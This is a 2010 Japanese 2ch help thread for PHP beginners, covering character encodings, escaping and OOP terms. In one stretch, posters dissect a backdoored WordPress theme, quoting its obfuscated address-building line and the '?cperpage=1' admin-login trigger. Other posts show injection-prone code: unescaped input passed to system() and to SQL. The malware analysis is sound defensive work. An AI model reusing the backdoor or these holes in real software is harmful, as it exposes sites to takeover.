トップページ⇒php
1001コメント308KB

【PHP】下らねぇ質問はID出して書き込みやがれ 95

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2010/04/19(月) 09:15:05ID:???
質問者はまず>>1を良く読むこと(必須!)
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。

◆前スレ
【PHP】下らねぇ質問はID出して書き込みやがれ 94
http://pc11.2ch.net/test/read.cgi/php/1268835461/

◆質問用テンプレ
【OS名】CentOS
【PHPのバージョン】5.3
【連携ソフトウェア】MySQL ImageMagick
【質問内容】

◆質問する時の注意
・ スレを上げて自分のIDを表示させること。(メール欄に何も記述しない。専ブラのsageチェックを外す)
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に関連リンクの公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
(PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。)

◆質問後の注意
・2回目以降は最初に質問した際のレス番号を入れて、偽者防止に必ずIDを表示させること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・SQL・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
0322nobodyさん2010/05/04(火) 03:49:18ID:???
そのソースのまま試したらマッチしたけど
絵文字はhttp://creation.mb.softbank.jp/web/web_pic_01.htmlからコピペした
>>296の可能性は?
0323nobodyさん2010/05/04(火) 03:52:07ID:???
magic_quotes_gpcとかかも
03243212010/05/04(火) 09:08:55ID:QL/SNWDx
>>322
わざわざ試していただいてありがとうございます。
そのサイトからコピペでもなぜかマッチしないです。数値文字参照などは特になにもしてないので大丈夫かと思いますが・・・。
同じコードでなぜ>>322ではマッチしてこっちでマッチしないのか・・・
>>323でも指摘いただいているのでstripslashesでmagic_quotes_gpcを回避してみましたが結果はかわらず。
原因がさっぱりわかりませんが、環境だけ書いておきます。
サーバー:lolipop
サンプルの文字コード:UTF-8(nobom)
試した絵文字:>>322のサイト・Softbankのエミュレータ・携帯931SH
postで受信した時にすでにマッチしないものになっているような気もするのですが
サンプルの文字コードをEUCやSJISに変えてみても変化はなくお手上げ状態です。
0325nobodyさん2010/05/04(火) 10:08:01ID:???
>>324
エミュレータ試したら、>>322にあるコードと全然違うのが送られてきたわ

男の子の絵文字で
PCだと「1b2447210f」
エミュレータだと「f941」

エミュレータはエミュレータにしか解釈できないコードを使ってるんじゃない?
0326nobodyさん2010/05/04(火) 10:38:11ID:???
Shift_JISのバイナリコードのやつだね。
http://coderepos.org/share/wiki/Mobile/Encoding
ライブラリ使わず自分でやるとものすごく大変だろうけど、頑張ってね。
0327nobodyさん2010/05/04(火) 14:27:33ID:fQRDnxkW
お願いします
$array = array('insert_date' => 'NOW()');
foreach($array as $key => $value){
$pdo->bindValue(":$key", $value);
}
こんな感じでPDOを使ってDATATIME型のカラムにNOW()を入れたいんですが、
このままだとNOW()が文字列として評価されてしまってNOW()が実行しません。
この場合どうすればいいのでしょうか?
03283212010/05/04(火) 17:53:25ID:QL/SNWDx
>>325
わざわざ試していただきありがとうございます。
そもそもその文字列自体がこちらで判別できてない状態です。
>>321でpostで受けたものをfile_put_contentsで出してもテキストには・とだけ出ているだけ・・・。
もちろん文字化けてるわけですが、バイナリエディタで見るとEE80〜というのが入ってることだけは認識できます。
f941とわかるようにするにはpostで受けたあとに何かしないといけないということでしょうか。
自分でも何していいのかわからなくなってきました。

>>326
上でも書きましたがどうやらUTF-8のコードでpostに入ってきているようです。
ちょっと考えが整理しきれてないのでもう少し苦しんでみたいと思います。
0329nobodyさん2010/05/04(火) 18:07:36ID:???
php で SQL インジェクション対策として

' _ % が含まれている場合にはエラーとする為に、

これらの禁則文字が含まれているかを判定し、含まれている場合にはエラーとする
共通関数を作りたいと考えています。

これらの文字が含まれているかどうかの正規表現はどの様にすれば良いでしょうか?
0330nobodyさん2010/05/04(火) 18:08:23ID:???
そんな対策じゃなくプリペアードステートメントにしる
0331nobodyさん2010/05/04(火) 18:23:18ID:???
>>330
PDOを使って最初はやっていたのですが、データベースにsjisを使用している為、
どうしても文字化けをしてしまうのです。

最初からUTF-8にしておけばよかったとかなり後悔してます。
0332nobodyさん2010/05/04(火) 19:01:18ID:???
PDOを使い入力値をバインド機構として処理を行う場合には、
入力値のエスケープ処理を行う必要は無いでしょうか?
0333nobodyさん2010/05/04(火) 20:16:20ID:???
入力値に \ が含まれている場合にはエラーとしたいので、
次のコードを書いたのですが、なぜかすり抜けてしまいます。

どうすれば \ の入力を正規表現にて検知する事が出来ますか?
※\\としてもすり抜けてしまいます。

$str = "\";
$strCheck = "/[\]/";
if (preg_match ($strCheck, $str))
{
//禁則文字は含まれている
$result = 1;
}
else
{
//禁則文字は含まれていない
$result = 0;
}
0334nobodyさん2010/05/04(火) 20:20:08ID:???
\\
0335nobodyさん2010/05/04(火) 20:21:53ID:???
>※\\としてもすり抜けてしまいます。

\\\\
0336nobodyさん2010/05/04(火) 20:42:52ID:???
>>334 >>335

>※\\としてもすり抜けてしまいます。

\ が文字列に含まれていればNGにしたいのです。
0337nobodyさん2010/05/04(火) 20:48:47ID:VwyDt9Tp
テキストエリアの改行についての質問です。

手順�@:
テキストエリアの文章に改行コード\nを入力した状態でPOST送信しました。
【テキストエリアの内容】
あいうえお\nかきくけこ
さしすせそ

手順�A:
次に、テキストエリアの内容を取得してechoで中身を画面に出力しました。
$message = $_POST[テキストエリアのname];
echo $message;


質問:
Enterキーで改行した箇所は半角スペースで表示されていましたが、自分で入力した改行コード\nは
そのまま表示されていました。
何故でしょうか?
【echoで画面に表示された結果】
あいうえお\nかきくけこ さしすせそ

また、ereg_replace関数で$messageの\nを別の文字に置換してみましたが、自分で入力した改行コード\nは
置換されていませんでした。
なぜ置換されなかったのでしょうか?

よろしくお願いします。
0338nobodyさん2010/05/04(火) 20:51:29ID:???
>>333
$str = "\\";
$strCheck = "/\\\\/";
if (preg_match ($strCheck, $str))
{
//禁則文字は含まれている
$result = 1;
}
else
{
//禁則文字は含まれていない
$result = 0;
}
03393362010/05/04(火) 22:05:50ID:???
>>338
ありがとうございます。無事判定する事が出来る様になりました。

ただ、疑問なのはなぜ入力文字列に \ が含まれているかを判定するのに
\\\\ と\を4つも指定すると正常に判定出来き、
\ や \\ と入力をしても正常に判定出来ないのでしょうか?
0340nobodyさん2010/05/04(火) 22:09:08ID:???
>>337
>\nを別の文字に置換してみましたが、自分で入力した改行コード\nは
>置換されていませんでした。

\\

>自分で入力した改行コード\nは
>そのまま表示されていました。
>何故でしょうか?

改行したけりゃ<br>
03413372010/05/04(火) 22:59:37ID:VwyDt9Tp
>>340
ありがとうございます。
エスケープについて勉強不足でした。
0342nobodyさん2010/05/05(水) 01:24:55ID:+PXUShR+
http://pooh-pro.jp/index.shtml
このページはJAVAが使われていると思うのですが、
こういうページを作る場合、
PHPで作っておいて、絵が動く部分だけ、JAVAを付け加えるのでしょうか?
あるいは、1からJAVAでサイトを構築するのでしょうか?
0343nobodyさん2010/05/05(水) 01:40:32ID:???
>>342
JavaじゃなくてJavascript
しかもこれはJavascriptでもなくてFlash
このサイトはどうしているかしらないけど恐らくPHPはなくてもいける内容
0344nobodyさん2010/05/05(水) 01:42:18ID:???
とりあえずオナニーしたくなった
0345nobodyさん2010/05/05(水) 02:03:43ID:+PXUShR+
>>343
どうもです。

> このサイトはどうしているかしらないけど恐らくPHPはなくてもいける内容
では、『 htmlだけで作れる 』 ですか?

それでは、
http://www.fashionsnap.com/
このページもFlashですか?

http://www.fashionsnap.com/streetsnap/
このページはphpだけでいけますか?
0346nobodyさん2010/05/05(水) 02:15:55ID:C7v612lm
http://www.douhokanko.net/doujin/haruhi/kyonko_issyo/20100505.html
↑のサイトのような携帯用コミックスクリプトってPHPで作れますか?
もし作ってもらうとしたらいくらぐらいかかりますか?
0347nobodyさん2010/05/05(水) 02:37:51ID:???
>>345
前者はflash、javascript、php
後者はjavascript、php

要はアニメーションしたり、色が変わったりするのがFlashかJavascript
コンテンツ自体が頻繁に更新したり、何らかの条件によって変化するのがPHP

クライアントサイド(javascript)とサーバサイド(php)の違いについて調べてみてくれ


>>346
PHPでもできるしHTMLだけでも可能
個人相手に探せば1万くらいでやってくれるんじゃない?
03483422010/05/05(水) 02:52:59ID:+PXUShR+
>>347
有り難うございます。
では、
http://www.fashionsnap.com/streetsnap/2010/spring/8914/gallery/index.html?photo=3
このページを作るには、
とりあえず、PHPで土台を作っておき、そこにjavascriptをからめる、
という認識でいいですか?
0349nobodyさん2010/05/05(水) 07:44:04ID:oySvKu41
phpで携帯用のウェブサイトを作っていますが、
利用者が実際に携帯でアクセスしたときにかかるパケット料って
サーバーが処理を実行してHTMLとして出力したものだけという認識であってますでしょうか?
それともphpファイルのファイルサイズが影響するのでしょうか。
(コメントを残していいものか迷っています)

利用者のパケット代を減らすコツなどがあったら伝授して頂けますでしょうか。
0350nobodyさん2010/05/05(水) 08:49:40ID:???
>サーバーが処理を実行してHTMLとして出力したものだけという認識であってますでしょうか?

それでいいよ。

>それともphpファイルのファイルサイズが影響するのでしょうか。

しない。

>(コメントを残していいものか迷っています)

phpソース内のコメントだったら100万行でも書けばいい。パケット数に関係無い。
htmlのコメントだったら…
0351nobodyさん2010/05/05(水) 09:01:10ID:???
>>349
お前はレベルが低すぎ。踏み台にされるのが落ちだからやめといた方がいい。
小学生でもそんな質問はしねーよ。
0352nobodyさん2010/05/05(水) 09:07:38ID:oySvKu41
>>350
レスありがとうございます。
最初の認識で間違いないようで安心しました。
冷静に頭を整理すれば当然のことですね・・・。勉強不足ですみません。
0353nobodyさん2010/05/05(水) 09:16:19ID:???
>>352
お前は脳みそが腐ってる
0354nobodyさん2010/05/05(水) 18:21:02ID:???
PHPでAというページ内に名前を入力する項目を用意し、
入力後にボタンが押された場合に、
Bというページにその内容を表示しようとしているのですが、

なぜか文字列に「 \ 」が勝手に付加されてしまいます。

例)
ソフトバンク → ソ\フトバンク

文字コードは、sjisを指定しています。

また、この事象が起きる場合と起きない場合があるので余計に理由が不明なのですが、
なぜ勝手にエスケープ対象の文字列でも無いのに勝手に「\」が付加されてしまうのでしょうか?
0355nobodyさん2010/05/05(水) 18:25:39ID:DWsAnEwS
起こる場合と起こらない場合の差を見てみればいいんじゃないだろうか
0356nobodyさん2010/05/05(水) 18:48:41ID:???
なぜか ソ だけ文字化けしてしまいます。
03573542010/05/05(水) 18:54:45ID:???
php.ini に
magic_quotes_gpc = OFF
と記述したところ今度は、

ソ が ・ に文字化けしてしまいます。

なぜこんな事になるのでしょうか?
0358nobodyさん2010/05/05(水) 18:54:48ID:???
sjisだからじゃね?
0359nobodyさん2010/05/05(水) 19:33:16ID:???
>>354
5C問題ってやつだな。例えば、ソをコードに直すと 83 5C になる。
この5Cがエスケープ文字になるからバックスラッシュが増えるわけだ。
ちなみにソの他に40種類くらいあったと思う。
手っ取り早いのはSJISから他の文字コードに変えることだと思うけど、
magic_quotes_gpcかaddslashesをはずして自分でエスケープするとかだな。
ソが・になるのは分からん。
0360nobodyさん2010/05/05(水) 20:19:46ID:???
PHP使うなら全部UTF-8に統一しろ
utf-8でないと動かない標準関数もあるし
03613542010/05/05(水) 20:55:16ID:???
>>358
みたいです。。。

>>359
詳しい説明どうもありがとうございます。
>>360さんもおっしゃってる様に、最初からUTF-8を使用していれば良かったのですが、
何を血迷ったか最初にSJISで全てを構築して今日まで至ってしまった為に
(レコード数にして数百万)
このタイミングで全ての文字コードを変更すると大規模な文字化けを誘発しそうで厳しいです。

あーあー、参ったなー
0362nobodyさん2010/05/05(水) 21:02:05ID:???
それ詰んでる
0363nobodyさん2010/05/05(水) 21:12:01ID:???
プログラムのどっかで、stripslashesしてるとみた。
SJISだからって適切に処理すれば問題ない。出来ない人が多いからutf-8使えって言うだけで。
0364nobodyさん2010/05/05(水) 21:15:07ID:???
問題はそれだけのようです
0365nobodyさん2010/05/05(水) 21:40:04ID:???
>>363
いえ、 stripslashes を  grep 検索してみましたが見つかりませんでした。
なのでしていません。
0366nobodyさん2010/05/05(水) 21:41:37ID:???
sjisはだめってのは解決策がわからないか、解決策を考えずになんとなく
utf-8にしとこってことだろ。
適切な変換をすれば問題ない。
現にsjisをphpで出力しているサイトはいくらでもある。
0367nobodyさん2010/05/05(水) 21:44:24ID:???
レコードってことはDB使ってるのか?
DB使っててエスケープ云々で問題になってるなら怖すぎる。
0368nobodyさん2010/05/05(水) 21:46:46ID:???
適切な変換ってのが正しく出来る人なら最初からutf-8使ってるわな。
0369nobodyさん2010/05/05(水) 21:47:34ID:???
携帯サイトなんかはいまだにsjis使ってるけどな
0370nobodyさん2010/05/05(水) 21:49:33ID:???
問題は内部でsjisを使っているかどうか。
出力でsjisに変換しているようなら問題ないと思うけどな。
0371nobodyさん2010/05/05(水) 21:56:01ID:???
>>367
DBを使ってます。Mysql

因みにサーバはさくらです。

ソ に \ が勝手についてしまう事象には本当にまいってます。
2chはDBじゃなくてテキストファイルだったけ?
0372nobodyさん2010/05/05(水) 22:19:12ID:???
ドコモがいまだにUTF-8理解出来んので、携帯向けにはShift_JISを出力してる。内部はUTF-8だけど
改行は LF ONLY で統一すればいいの?
0373nobodyさん2010/05/05(水) 22:19:24ID:???
magic_quotes_gpc = OFFにしたら変わるんだから、
ONになっているということ。 まずOFFにする方がいいでしょう。\がつくのはソレ。
DBに突っ込む部分の文字の処理はまた別にやってますよね?


0374nobodyさん2010/05/05(水) 22:26:27ID:???
>>372
改行は何でもいいんでない?何か関係あったっけ。
0375nobodyさん2010/05/05(水) 23:40:48ID:???
>>373
Offにした上でDBに登録するとDBに \ がついてしまいます。
0376nobodyさん2010/05/05(水) 23:57:52ID:???
mysql_real_escape_string使ってると思いますが、
適切に処理させるためには、mysql_set_charsetでクライアント側の文字コードを設定してやる必要があります。
0377nobodyさん2010/05/06(木) 11:30:56ID:9BiR83GE
日本語の配列をソートするにはどうすればいいですか?
sortだと日本語は扱えなくて、collatorは難しくて何ができるのかよくわからなかったです
0378nobodyさん2010/05/06(木) 11:33:54ID:???
バブルソート
0379nobodyさん2010/05/06(木) 11:56:42ID:???
>>377
文字コード順のソートが嫌なら素直にcollator使ったほうが楽

$collator = Collator::create( 'ja_JP' );
$collator->sort( $arr , Collator::SORT_STRING );
0380nobodyさん2010/05/07(金) 01:28:44ID:8fN/nGNL
ちょっと概念的な質問なんですが教えてください

前スレでクラスとオブジェクトの話があったんですが、厳密には「オブジェクト」と「インスタンス」って別物だったりきますか?ずっとイコールだと思ってたんで。

あと下のレスの「並列する概念じゃない」ってのもどういう意味だろう…

74 名前:nobodyさん [sage] :2010/03/20(土) 21:37:38 ID:??
クラスとオブジェクトは並列する概念じゃねぇよ
クラスをインスタンス化したのがオブジェクト
0381nobodyさん2010/05/07(金) 02:46:13ID:???
厳密じゃなくても別物
0382nobodyさん2010/05/07(金) 02:54:58ID:???
>>380
捉え方は使っている言語や人によって違うかも。
それはオブジェクトやインスタンスという概念は、
こういうものであるという決まりが何もないから。

自分は、オブジェクトは統括的なもので、インスタンスはクラスを実体化したもの、だと思ってる。
なので、クラスとインスタンスをまとめてオブジェクトと指す場合もあったりするんじゃないかな。
0383nobodyさん2010/05/07(金) 03:32:55ID:???
僕はこんな感じで習いました
クラスは車の部品
オブジェクトは車
インスタンスは車の鍵ですね

0384nobodyさん2010/05/07(金) 05:43:23ID:???
クラスは設計図だろ
インスタンスが実車

どっちもオブジェクト
0385nobodyさん2010/05/07(金) 06:53:54ID:???
その考えは今すぐ投げ捨てた方が良いな >>383

その筋書きで言うなら、
クラスは金型
インスタンスは(金型から出てきた)部品

オブジェクトとインスタンスについては…俺はパス。
0386nobodyさん2010/05/07(金) 07:14:53ID:???
例え話はそういった誤解を招く時があるから気を付けた方がいいよな。
0387nobodyさん2010/05/07(金) 07:38:13ID:???
クラスとインスタンスはオブジェクト指向を実現するための手段じゃないの?
0388nobodyさん2010/05/07(金) 08:05:00ID:???
インスタンスとオブジェクトって同じじゃないの
0389nobodyさん2010/05/07(金) 12:10:47ID:HaF8gLhM
OS:CentOS5.4
PHP:5.1.6
system関数でpingを打ってるんですが改行コードを<br />に変換したいと思ってます。
コードはこれになります。

 $ret = system('ping -c3 '.$ping);

$retをnl2brで変換しても改行されずereg_replaceで\r|\nを正規表現で指定してもダメでした。
この場合の改行はどのように検出すればいいのでしょうか?
0390nobodyさん2010/05/07(金) 12:50:10ID:???
systemはそれ自体で出力して、
返り値は、最後の行のみ
0391nobodyさん2010/05/07(金) 13:11:42ID:y4A+Fgeb
クラスとインスタンスが対になるもので、オブジェクトはどちらも当てはまるというのが多数派のようですね
ありがとうございました
0392nobodyさん2010/05/07(金) 13:13:05ID:???
>>389
pingの結果(出力)を丸々取得して、改行を<br />に変えるだけなら

$ret = `ping -c3 localhost`;
print_r(nl2br($ret));

こんなんでどうでしょう?
0393nobodyさん2010/05/07(金) 14:23:48ID:???
http://pc11.2ch.net/test/read.cgi/blog/1264520267/
からきました。

http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/
global $wpdb, $post;で検索かけてでてくる下のコードって何してるコードか
教えてもらえませんか?
同じコードが
http://www.themes2wp.com/download-free-simpleperfect-wordpress-theme
から落とせるfunction.phpにふくまれています。
これを入れると[email protected]にメールを送ろうとします。
03943932010/05/07(金) 14:25:13ID:qmvwAXR3
ID出すの忘れてました。ごめんなさい。
0395nobodyさん2010/05/07(金) 16:01:59ID:???
メール送る 以外のところなら具体的に場所示した方がいいんじゃね
何行目あたり とか function hoge とか
0396nobodyさん2010/05/07(金) 16:08:14ID:wvX4OPsC
【OS名】Windows XP
【PHPのバージョン】5.3
【連携ソフトウェア】XAMPP
【質問内容】
ログイン管理を考えて色々と試したり、検索しています。
ハッシュ化しているとはいえパスワードをセッション変数に入れて持ちまわるのは良くないという記述を見かけます。
とすると、どういうふうにログイン状態を管理すべきなのでしょう?

$_POSTされたIDとパスワードをDBなどの情報と照合する
ログインできたらセッションIDをregenerateして、例えば$_SESSION['is_login'] = 1;みたいなかんじでログインできていることを示す変数を用意する。

念の為にIDもセッションに入れておく?

>>310にもあるように、必要なときにパスワードの再入力を促す。
それ以外はログイン済みかどうかというフラグと、ログインIDの有無だけでチェックする。

とか?
03973932010/05/07(金) 16:24:34ID:qmvwAXR3
↓だと111行目
http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/

http://www.themes2wp.com/download-free-simpleperfect-wordpress-themeから落としてきたコードだと
457行目です。
↓の一行です。長いので改行しています。
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID,
comment_author, comment_date_gmt, comment_approved, comment_type,
SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN
$wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND
comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr.
"@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >=
CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
0398nobodyさん2010/05/07(金) 17:13:34ID:8aUTct47
>>397
457行目はメールアドレス埋め込むためのダミーかな
最終的に「$text_s」へメアドがセットされるんだと思う

次に483行目の$sq1へSQL文定義するとみせかけて回りくどく関数呼んでる
call_user_func_array($getcommtext, array($text_s, $f_home, $f_types))
これはwp_mail($text_s, $f_home, $f_types)と同義で
メアドにget_option("home")の値を本文としてメールを発射する処理

仕上げは532行目、上と同じ手段で次の処理を実行
@wp_set_auth_cookie( $_GET["cperpage"], true )
cperpageつうのは有りそうで無さそうな仕込みラベル
任意のIDをwp_set_auth_cookie()できるURLを集めるテーマって感じ?

wp_set_auth_cookie()
ttp://codex.wordpress.org/Function_Reference/wp_set_auth_cookie
どんな悪いことが出来るのか教えてエロい人
0399nobodyさん2010/05/07(金) 17:40:20ID:???
巧妙に埋め込まれてるな…怖い怖い
0400nobodyさん2010/05/07(金) 17:50:54ID:???
>>397
今落としてみたらそのコード入ってなかったよ
落とした時点で入ってた?
設置したサーバが感染してるかもしれんよ

>>398
[email protected]で検索してヒットしたページは
誰でも認証済みになるとかなのかな・・
04013932010/05/07(金) 18:38:21ID:qmvwAXR3
>>398
詳しく説明していただいてありがとうございます。
悪用できそうなブログページを集めているという事でしょうか?

>>399
同感です。鯖の設定含めて安易な機能拡張は危険ですね。

>>400
>落とした時点で入ってた?
そのはずです。
今もう一度落としたらはいってたので間違いないと思います。
cdce4060a12b203d28d2ca1471225cb0.zip
というファイルがダウンロードされて中のSimplePerfectディレクトリ以下の
function.php(457行目)というファイルに該当の記述があります。
サーバ上で解凍してもWindows機で解凍しても同じっぽいのでたぶん、もともとだと思います。

>設置したサーバが感染してるかもしれんよ
一応Webのディレクトリは0から作り直したので大丈夫だと思います。
でも、ちょっと怖いです。。



0402nobodyさん2010/05/07(金) 19:01:31ID:???
>>401
もう一度ダウンロードしたら入ってたわ
同じサイトの他のテーマも入ってるみたい
しかしよく見つけたな
0403nobodyさん2010/05/07(金) 19:01:49ID:8aUTct47
>>397
このテーマ使ってるサイトは
http://URL/?cperpage=1
にアクセスするだけで誰でもadminでログイン状態になれるぽい
要は管理権限乗っ取りテーマ
真っ黒でした

>>400は他のサイトにある汚染前のコードを見たんじゃない?
04043932010/05/07(金) 19:12:47ID:qmvwAXR3
>>402
インストールしてこのコード実行されてから気づいたので、見つけたタイミング的には完全にアウトでした。
テーマを入れる
↓
サーバのメールキューをみる。
↓
配送されてないメールがある。(OB25でひっかかってた。)
↓
@で関係ありそうなphpファイルをgrepかける。
↓
分割されたメールアドレス発見。
04053932010/05/07(金) 19:17:35ID:???
>>403
ドキドキしながら試してみました。
別クライアントで試したのですが、普通にブログトップが表示されただけでした。
よかったです。感謝です。
0406nobodyさん2010/05/07(金) 19:26:51ID:8aUTct47
>>393
いったん管理画面に入ってログアウトしてログイン状態を切った後に
http://URL/?cperpage=1
にアクセスでブログトップが表示

そのあとにここへ
http://URL/wp-admin/

ちなみにログイン状態は2週間有効ぽい
04073932010/05/07(金) 19:41:44ID:???
>>406
セーフでした。でも、怖い。
0408nobodyさん2010/05/07(金) 20:19:04ID:???
>>391
インスタンスをオブジェクトと呼ぶのは分かるけどクラスとオブジェクトは別物でしょ
0409nobodyさん2010/05/07(金) 21:20:51ID:VMqH6m/q
http://favotter.net/
ふぁぼったー

このサイトってどんな仕組みなの?
サーチエンジンとか調べれば分かるかな?

同じような仕組みのサイトを作りたいと思ってるんで
なにかヒントでもあれば

0410nobodyさん2010/05/07(金) 21:37:31ID:???
>>408
単に別物とだけ言われても分からんから説明してよ。
0411nobodyさん2010/05/08(土) 00:25:18ID:???
お
0412nobodyさん2010/05/08(土) 00:36:37ID:???
>409
twitterで作者に聞いてみればいいんじゃね
0413nobodyさん2010/05/08(土) 00:38:26ID:NbVWnISJ
【OS名】CentOS
【PHPのバージョン】5.2
【質問内容】
MYSQLとの連携で、質問させてください。
$_GET ["id"]を取得してSELECT * FROM account WHERE uid = $idで
一致の場合のみ、続きへ…という流れのプログラムを組んでます。
上記の場合、結果が見つからない場合の戻り値はNULLになるんでしょうか。
SELECT文の結果をechoしてもResource id #6と出てきてお手上げ状態です。
0414nobodyさん2010/05/08(土) 02:06:22ID:???
>>413
返値が resource って,id があった場合でも同じだろw
fetch とかで結果のresourceから値を取り出さなきゃ分からんと思う

ちなみにそのケースなら
SELECT COUNT(uid) cnt
FROM account
WHERE uid = $id
がいいと思う

あとプリペアドステートメント使おうな
0415nobodyさん2010/05/08(土) 02:29:56ID:???
リファレンスで使ってる関数の引数と戻り値を調べなよ
0416nobodyさん2010/05/08(土) 11:32:45ID:NbVWnISJ
>>414
ありがとうございます。
mysql_fetch_assoc等で値を取り出さないとダメってことですね。
例で出していただいた、構文についてもCOUNT使うということで勉強になりました。
0417nobodyさん2010/05/08(土) 12:12:22ID:C2BBFFWm
extension_dirの変更かカレントディレクトリのDLLをdl()で読み込むことは可能ですか。
php.iniの書き換えは無しで。
0418nobodyさん2010/05/08(土) 12:34:50ID:???
可能です。
0419nobodyさん2010/05/08(土) 12:52:29ID:C2BBFFWm
>>418
やり方教えてください
0420nobodyさん2010/05/08(土) 13:29:40ID:???
PHPでSQL Server Compact(.sdf)を取り扱ってるサンプルなどがあったら教えてください
0421nobodyさん2010/05/08(土) 14:55:01ID:???
SQLiteの利用をおすすめします
■ このスレッドは過去ログ倉庫に格納されています